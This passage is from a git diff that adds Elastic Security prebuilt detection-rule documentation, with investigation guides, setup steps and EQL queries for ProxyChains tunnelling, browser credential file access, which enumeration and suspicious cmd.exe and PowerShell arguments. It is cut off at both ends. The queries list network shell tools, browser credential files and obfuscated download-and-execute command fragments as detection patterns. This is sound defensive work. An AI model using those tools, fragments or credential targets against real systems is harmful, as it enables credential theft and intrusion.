{{user.name}}"}} +- Investigate whether the user is currently logged in and active. + - !{osquery{"label":"Osquery - Investigate the Account Authentication Status","query":"SELECT * FROM logged_in_users WHERE user = {{user.name}}"}} +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} + - !{osquery{"label":"Osquery - Retrieve Process Info","query":"SELECT name, cmdline, parent, path, uid FROM processes"}} +- Investigate other alerts associated with the user/host during the past 48 hours. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + + +*Related rules* + + +- ProxyChains Activity - 4b868f1f-15ff-4ba3-8c11-d5a7a6356d37 +- Potential Protocol Tunneling via Chisel Client - 3f12325a-4cc6-410b-8d4c-9fbbeb744cfd +- Potential Protocol Tunneling via Chisel Server - ac8805f6-1e08-406c-962e-3937057fa86f +- Potential Linux Tunneling and/or Port Forwarding - 6ee947e9-de7e-4281-a55d-09289bdf947e +- Potential Protocol Tunneling via EarthWorm - 9f1c4ca3-44b5-481d-ba42-32dc215a2769 + + +*False positive analysis* + + +- If this activity is related to new benign software installation activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- If this activity is related to a system administrator or developer who uses this utility for benign purposes, consider adding exceptions for specific user accounts or hosts. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. A small number of endpoints, such as servers with unique software, might appear unusual but satisfy a specific business need. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors, such as reverse shells, reverse proxies, or droppers, that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name == "proxychains" and process.args : ( + "ssh", "sshd", "sshuttle", "socat", "iodine", "iodined", "dnscat", "hans", "hans-ubuntu", "ptunnel-ng", + "ssf", "3proxy", "ngrok", "gost", "pivotnacci", "chisel*", "nmap", "ping", "python*", "php*", "perl", "ruby", + "lua*", "openssl", "nc", "netcat", "ncat", "telnet", "awk", "java", "telnet", "ftp", "curl", "wget" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Proxy +** ID: T1090 +** Reference URL: https://attack.mitre.org/techniques/T1090/ +* Sub-technique: +** Name: Multi-hop Proxy +** ID: T1090.003 +** Reference URL: https://attack.mitre.org/techniques/T1090/003/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-web-browser-sensitive-file-access.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-web-browser-sensitive-file-access.asciidoc new file mode 100644 index 0000000000..90f452559a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-web-browser-sensitive-file-access.asciidoc @@ -0,0 +1,172 @@ +[[prebuilt-rule-8-19-20-suspicious-web-browser-sensitive-file-access]] +=== Suspicious Web Browser Sensitive File Access + +Identifies the access or file open of web browser sensitive files by an untrusted/unsigned process or osascript. Adversaries may acquire credentials from web browsers by reading files specific to the target browser. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://securelist.com/calisto-trojan-for-macos/86543/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Web Browser Sensitive File Access* + + +Web browsers store sensitive data like cookies and login credentials in specific files. Adversaries exploit this by accessing these files using untrusted or unsigned processes, potentially stealing credentials. The detection rule identifies such unauthorized access on macOS by monitoring file access events, focusing on untrusted processes or scripts, and excluding known safe executables, thus flagging potential credential theft attempts. + + +*Possible investigation steps* + + +- Review the process executable path and name to determine if it is a known legitimate application or script, focusing on those not signed by trusted entities or identified as osascript. +- Check the process code signature details to verify if the process is unsigned or untrusted, which could indicate malicious activity. +- Investigate the user account associated with the process to determine if there is any unusual or unauthorized activity, such as unexpected logins or privilege escalations. +- Examine the file access event details, including the specific sensitive file accessed (e.g., cookies.sqlite, logins.json), to assess the potential impact on credential security. +- Correlate the event with other security alerts or logs from the same host or user to identify any patterns or additional suspicious activities that might indicate a broader compromise. +- Verify if the process executable path matches any known safe paths, such as the excluded path for the Elastic Endpoint, to rule out false positives. + + +*False positive analysis* + + +- Access by legitimate applications: Some legitimate applications may access browser files for valid reasons, such as backup or synchronization tools. Users can create exceptions for these applications by adding their code signatures to the exclusion list. +- Developer or testing scripts: Developers might use scripts like osascript for testing purposes, which could trigger the rule. To manage this, users can whitelist specific scripts or processes used in development environments. +- Security software interactions: Security tools might access browser files as part of their scanning or monitoring activities. Users should verify the legitimacy of these tools and add them to the exclusion list if they are trusted. +- System maintenance tasks: Automated system maintenance tasks might access browser files. Users can identify these tasks and exclude them if they are part of routine system operations and deemed safe. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any untrusted or unsigned processes identified in the alert, especially those accessing sensitive browser files. +- Conduct a thorough review of the affected system's recent activity logs to identify any additional suspicious behavior or potential lateral movement. +- Change all potentially compromised credentials, focusing on those stored in the affected web browsers, and enforce multi-factor authentication where possible. +- Restore any altered or deleted sensitive files from a known good backup to ensure data integrity. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Update endpoint protection and monitoring tools to enhance detection capabilities for similar unauthorized access attempts in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where event.action == "open" and host.os.type == "macos" and process.executable != null and + file.name like~ ("cookies.sqlite", + "key?.db", + "logins.json", + "Cookies", + "Cookies.binarycookies", + "Login Data") and + ((process.code_signature.trusted == false or process.code_signature.exists == false) or process.name == "osascript") and + not process.code_signature.signing_id == "org.mozilla.firefox" and + not Effective_process.executable like "/Library/Elastic/Endpoint/elastic-endpoint.app/Contents/MacOS/elastic-endpoint" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Web Session Cookie +** ID: T1539 +** Reference URL: https://attack.mitre.org/techniques/T1539/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Sub-technique: +** Name: Credentials from Web Browsers +** ID: T1555.003 +** Reference URL: https://attack.mitre.org/techniques/T1555/003/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-which-enumeration.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-which-enumeration.asciidoc new file mode 100644 index 0000000000..5115721ae7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-which-enumeration.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-20-suspicious-which-enumeration]] +=== Suspicious which Enumeration + +This rule monitors for the usage of the which command with an unusual amount of process arguments. Attackers may leverage the which command to enumerate the system for useful installed utilities that may be used after compromising a system to escalate privileges or move latteraly across the network. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious which Enumeration* + + +The `which` command in Linux environments is typically used to locate the executable path of a command. Adversaries may exploit this utility to identify installed software that can aid in privilege escalation or lateral movement. The detection rule flags unusual usage patterns, such as excessive arguments, which may indicate malicious enumeration. It filters out benign scenarios, focusing on potential threats by examining process attributes and parent-child relationships. + + +*Possible investigation steps* + + +- Review the process details to confirm the command line arguments used with the which command, focusing on whether the args_count is unusually high and if the arguments are related to known enumeration or exploitation tools. +- Examine the parent process of the which command to determine if it is a legitimate process or if it is associated with suspicious activity, especially if it is not one of the excluded parent names or paths. +- Investigate the user account associated with the process to determine if it is a legitimate user or if there are signs of compromise, such as unusual login times or locations. +- Check for any other recent alerts or logs related to the same host or user that might indicate a broader attack pattern or ongoing compromise. +- Assess the network activity from the host to identify any connections to known malicious IP addresses or unusual outbound traffic that could suggest lateral movement or data exfiltration. + + +*False positive analysis* + + +- Processes initiated by the 'jem' parent process may trigger false positives. To handle this, add 'jem' to the list of exceptions in the rule configuration. +- Executions within containerized environments, such as those under '/vz/root/' or '/var/lib/docker/', are often benign. Exclude these paths from the rule to reduce noise. +- The '--tty-only' argument is typically used in legitimate scenarios. Consider adding this argument to the exception list to prevent unnecessary alerts. +- If the rule is noisy due to common utilities like 'nmap', 'nc', 'gcc', or 'socat' being used with shell interpreters like 'bash' or 'zsh', refine the rule by excluding these combinations. +- Regularly review and update the list of exceptions based on the evolving environment and usage patterns to maintain an effective balance between detection and false positive reduction. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement by the adversary. +- Terminate any suspicious processes associated with the `which` command that have an unusually high number of arguments, as identified by the detection rule. +- Conduct a thorough review of the system's installed software and utilities to identify any unauthorized or suspicious installations that could be leveraged for privilege escalation. +- Analyze the process tree and parent-child relationships of the flagged `which` command execution to identify potential malicious scripts or binaries that initiated the command. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems have been compromised. +- Implement enhanced monitoring and logging for the `which` command and similar enumeration tools to detect future misuse. +- Review and update access controls and permissions to ensure that only authorized users have the ability to execute potentially sensitive commands and utilities. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and + event.action in ("exec", "exec_event", "start") and + process.name == "which" and process.args_count >= 10 and not ( + process.parent.name == "jem" or + process.parent.executable like ("/vz/root/*", "/var/lib/docker/*") or + process.args == "--tty-only" + ) + +/* potential tuning if rule would turn out to be noisy +and process.args in ("nmap", "nc", "ncat", "netcat", nc.traditional", "gcc", "g++", "socat") and +process.parent.name in ("bash", "dash", "ash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") +*/ + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Technique: +** Name: File and Directory Discovery +** ID: T1083 +** Reference URL: https://attack.mitre.org/techniques/T1083/ +* Technique: +** Name: Software Discovery +** ID: T1518 +** Reference URL: https://attack.mitre.org/techniques/T1518/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-windows-command-shell-arguments.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-windows-command-shell-arguments.asciidoc new file mode 100644 index 0000000000..d4440f5ab8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-windows-command-shell-arguments.asciidoc @@ -0,0 +1,229 @@ +[[prebuilt-rule-8-19-20-suspicious-windows-command-shell-arguments]] +=== Suspicious Windows Command Shell Arguments + +Identifies the execution of the Windows Command Shell process (cmd.exe) with suspicious argument values. This behavior is often observed during malware installation. + +*Rule type*: eql + +*Rule indices*: + +* logs-crowdstrike.fdr* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* endgame-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Windows Security Event Logs +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender for Endpoint +* Data Source: Elastic Endgame +* Data Source: Crowdstrike + +*Version*: 207 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Windows Command Shell Arguments* + + +The Windows Command Shell (cmd.exe) is a critical component for executing commands and scripts. Adversaries exploit it to execute malicious scripts, download payloads, or manipulate system settings. The detection rule identifies unusual command-line arguments and patterns indicative of such abuse, filtering out known benign processes to minimize false positives. This helps in early detection of potential threats by monitoring for suspicious command executions. + + +*Possible investigation steps* + + +- Review the command line arguments associated with the cmd.exe process to identify any suspicious patterns or keywords such as "curl", "regsvr32", "wscript", or "Invoke-WebRequest" that may indicate malicious activity. +- Check the parent process of the cmd.exe execution to determine if it is a known benign process or if it is associated with potentially malicious activity, especially if the parent process is explorer.exe or other unusual executables. +- Investigate the user account associated with the cmd.exe process to determine if the activity aligns with the user's typical behavior or if it appears anomalous. +- Examine the network activity of the host to identify any unusual outbound connections or data transfers that may correlate with the suspicious command execution. +- Cross-reference the alert with other security logs or alerts from tools like Sysmon, SentinelOne, or Microsoft Defender for Endpoint to gather additional context and corroborate findings. +- Assess the risk score and severity of the alert to prioritize the investigation and determine if immediate response actions are necessary. + + +*False positive analysis* + + +- Processes related to Spiceworks and wmiprvse.exe can trigger false positives. Exclude these by adding exceptions for process arguments containing "%TEMP%\\Spiceworks\\*" when the parent process is wmiprvse.exe. +- Development tools like Perl, Node.js, and NetBeans may cause false alerts. Exclude these by specifying their executable paths in the exception list. +- Citrix Secure Access Client initiated by userinit.exe can be a false positive. Exclude this by adding an exception for process arguments containing "?:\\Program Files\\Citrix\\Secure Access Client\\nsauto.exe" with the parent process name as userinit.exe. +- Scheduled tasks or services like PCPitstopScheduleService.exe may trigger alerts. Exclude these by adding their paths to the exception list. +- Command-line operations involving npm or Maven commands can be benign. Exclude these by specifying command-line patterns like "\"cmd\" /c %NETBEANS_MAVEN_COMMAND_LINE%" in the exception list. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of potential malware or unauthorized access. +- Terminate any suspicious cmd.exe processes identified by the detection rule to halt malicious activity. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious files or scripts. +- Review and restore any altered system settings or configurations to their original state to ensure system integrity. +- Analyze the command-line arguments and parent processes involved in the alert to understand the scope and origin of the threat, and identify any additional compromised systems. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional containment measures are necessary. +- Implement additional monitoring and detection rules to identify similar suspicious command-line activities in the future, enhancing the organization's ability to detect and respond to such threats promptly. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : "cmd.exe" and + ( + process.command_line : ( + "*).Run(*", "*GetObject*", "* curl*regsvr32*", "*echo*wscript*", "*echo*ZONE.identifier*", + "*ActiveXObject*", "*dir /s /b *echo*", "*unescape(*", "*findstr*TVNDRgAAAA*", "*findstr*passw*", "*start*\\\\*\\DavWWWRoot\\*", + "* explorer*%CD%*", "*%cd%\\*.js*", "*attrib*%CD%*", "*/?cMD<*", "*/AutoIt3ExecuteScript*..*", "*&cls&cls&cls&cls&cls&*", + "*&#*;&#*;&#*;&#*;*", "* &&s^eT*", "*& ChrW(*", "*&explorer /root*", "*start __ & __\\*", "*findstr /V /L *forfiles*", + "*=wscri& set *", "*http*!COmpUternaME!*", "*start *.pdf * start /min cmd.exe /c *\\\\*", "*pip install*System.Net.WebClient*", + "*Invoke-WebReques*Start-Process*", "*-command (Invoke-webrequest*", "*copy /b *\\\\* ping *-n*", "*echo*.ToCharArray*" + ) or + + (process.args : "echo" and process.parent.name : ("wscript.exe", "mshta.exe")) or + + process.args : ("1>?:\\*.vbs", "1>?:\\*.js") or + + (process.args : "explorer.exe" and process.args : "type" and process.args : ">" and process.args : "start") or + + ( + process.parent.name : "explorer.exe" and + process.command_line : ( + "*&&S^eT *", + "*&& set *&& set *&& set *&& set *&& set *&& call*", + "**\\u00??\\u00??\\u00??\\u00??\\u00??\\u00??\\u00??\\u00??*" + ) + ) or + + (process.parent.name : "explorer.exe" and process.args : "copy" and process.args : "&&" and process.args : "\\\\*@*\\*") + ) and + + /* false positives */ + not (process.args : "%TEMP%\\Spiceworks\\*" and process.parent.name : "wmiprvse.exe") and + not ?process.parent.executable : ( + "?:\\Perl64\\bin\\perl.exe", + "?:\\Program Files\\nodejs\\node.exe", + "?:\\Program Files\\HP\\RS\\pgsql\\bin\\pg_dumpall.exe", + "?:\\Program Files (x86)\\PRTG Network Monitor\\64 bit\\PRTG Server.exe", + "?:\\Program Files (x86)\\Spiceworks\\bin\\spiceworks-finder.exe", + "?:\\Program Files (x86)\\Zuercher Suite\\production\\leds\\leds.exe", + "?:\\Program Files\\Tripwire\\Agent\\Plugins\\twexec\\twexec.exe", + "D:\\Agents\\?\\_work\\_tasks\\*\\SonarScanner.MSBuild.exe", + "?:\\Program Files\\Microsoft VS Code\\Code.exe", + "?:\\programmiweb\\NetBeans-*\\netbeans\\bin\\netbeans64.exe", + "?:\\Program Files (x86)\\Public Safety Suite Professional\\production\\leds\\leds.exe", + "?:\\Program Files (x86)\\Tier2Tickets\\button_gui.exe", + "?:\\Program Files\\NetBeans-*\\netbeans\\bin\\netbeans*.exe", + "?:\\Program Files (x86)\\Public Safety Suite Professional\\production\\leds\\leds.exe", + "?:\\Program Files (x86)\\Tier2Tickets\\button_gui.exe", + "?:\\Program Files (x86)\\Helpdesk Button\\button_gui.exe", + "?:\\VTSPortable\\VTS\\jre\\bin\\javaw.exe", + "?:\\Program Files\\Bot Framework Composer\\Bot Framework Composer.exe", + "?:\\Program Files\\KMSYS Worldwide\\eQuate\\*\\SessionMgr.exe", + "?:\\Program Files (x86)\\Craneware\\Pricing Analyzer\\Craneware.Pricing.Shell.exe", + "?:\\Program Files (x86)\\jumpcloud-agent-app\\jumpcloud-agent-app.exe", + "?:\\Program Files\\PostgreSQL\\*\\bin\\pg_dumpall.exe", + "?:\\Program Files (x86)\\Vim\\vim*\\vimrun.exe") and + not ( + /* Crowdstrike doesn't populate process.parent.executable */ + event.dataset == "crowdstrike.fdr" and + process.parent.name : ( + "perl.exe", "node.exe", "pg_dumpall.exe", "PRTG Server.exe", "spiceworks-finder.exe", "leds.exe", "twexec.exe", + "SonarScanner.MSBuild.exe", "Code.exe", "netbeans64.exe", "javaw.exe", "Bot Framework Composer.exe", "SessionMgr.exe", + "Craneware.Pricing.Shell.exe", "jumpcloud-agent-app.exe", "vimrun.exe" + ) + ) and + not (process.args : "?:\\Program Files\\Citrix\\Secure Access Client\\nsauto.exe" and process.parent.name : "userinit.exe") and + not process.args : ( + "?:\\Program Files (x86)\\PCMatic\\PCPitstopScheduleService.exe", + "?:\\Program Files (x86)\\AllesTechnologyAgent\\*", + "https://auth.axis.com/oauth2/oauth-authorize*" + ) and + not process.command_line : ( + "\"cmd\" /c %NETBEANS_MAVEN_COMMAND_LINE%", + "?:\\Windows\\system32\\cmd.exe /q /d /s /c \"npm.cmd ^\"install^\" ^\"--no-bin-links^\" ^\"--production^\"\"" + ) and + not (process.name : "cmd.exe" and process.args : "%TEMP%\\Spiceworks\\*" and process.args : "http*/dataloader/persist_netstat_data") and + not (process.args == "echo" and process.args == "GEQ" and process.args == "1073741824") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Regsvr32 +** ID: T1218.010 +** Reference URL: https://attack.mitre.org/techniques/T1218/010/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-windows-powershell-arguments.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-windows-powershell-arguments.asciidoc new file mode 100644 index 0000000000..bc87165d58 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-windows-powershell-arguments.asciidoc @@ -0,0 +1,250 @@ +[[prebuilt-rule-8-19-20-suspicious-windows-powershell-arguments]] +=== Suspicious Windows Powershell Arguments + +Identifies the execution of PowerShell with suspicious argument values. This behavior is often observed during malware installation leveraging PowerShell. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-crowdstrike.fdr* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* endgame-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Windows Security Event Logs +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender for Endpoint +* Data Source: Crowdstrike +* Data Source: Elastic Endgame +* Resources: Investigation Guide + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Windows Powershell Arguments* + + +PowerShell is a powerful scripting language and command-line shell used for task automation and configuration management in Windows environments. Adversaries exploit PowerShell's capabilities to execute malicious scripts, download payloads, and obfuscate commands. The detection rule identifies unusual PowerShell arguments indicative of such abuse, focusing on patterns like encoded commands, suspicious downloads, and obfuscation techniques, thereby flagging potential threats for further investigation. + + +*Possible investigation steps* + + +- Review the process command line and arguments to identify any encoded or obfuscated content, such as Base64 strings or unusual character sequences, which may indicate malicious intent. +- Check the parent process of the PowerShell execution, especially if it is explorer.exe or cmd.exe, to determine if the PowerShell instance was launched from a suspicious or unexpected source. +- Investigate any network activity associated with the PowerShell process, particularly looking for connections to known malicious domains or IP addresses, or the use of suspicious commands like DownloadFile or DownloadString. +- Examine the user account associated with the PowerShell execution to determine if it aligns with expected behavior or if it might be compromised. +- Correlate the event with other security alerts or logs from the same host or user to identify patterns or additional indicators of compromise. +- Assess the risk and impact of the detected activity by considering the context of the environment, such as the presence of sensitive data or critical systems that might be affected. + + +*False positive analysis* + + +- Legitimate administrative scripts may use encoded commands for obfuscation to protect sensitive data. Review the script's source and purpose to determine if it is authorized. If confirmed, add the script's hash or specific command pattern to an allowlist. +- Automated software deployment tools might use PowerShell to download and execute scripts from trusted internal sources. Verify the source and destination of the download. If legitimate, exclude the specific tool or process from the detection rule. +- System maintenance tasks often involve PowerShell scripts that manipulate files or system settings. Identify routine maintenance scripts and exclude their specific command patterns or file paths from triggering the rule. +- Security software may use PowerShell for scanning or remediation tasks, which can mimic suspicious behavior. Confirm the software's legitimacy and add its processes to an exception list to prevent false alerts. +- Developers might use PowerShell for testing or development 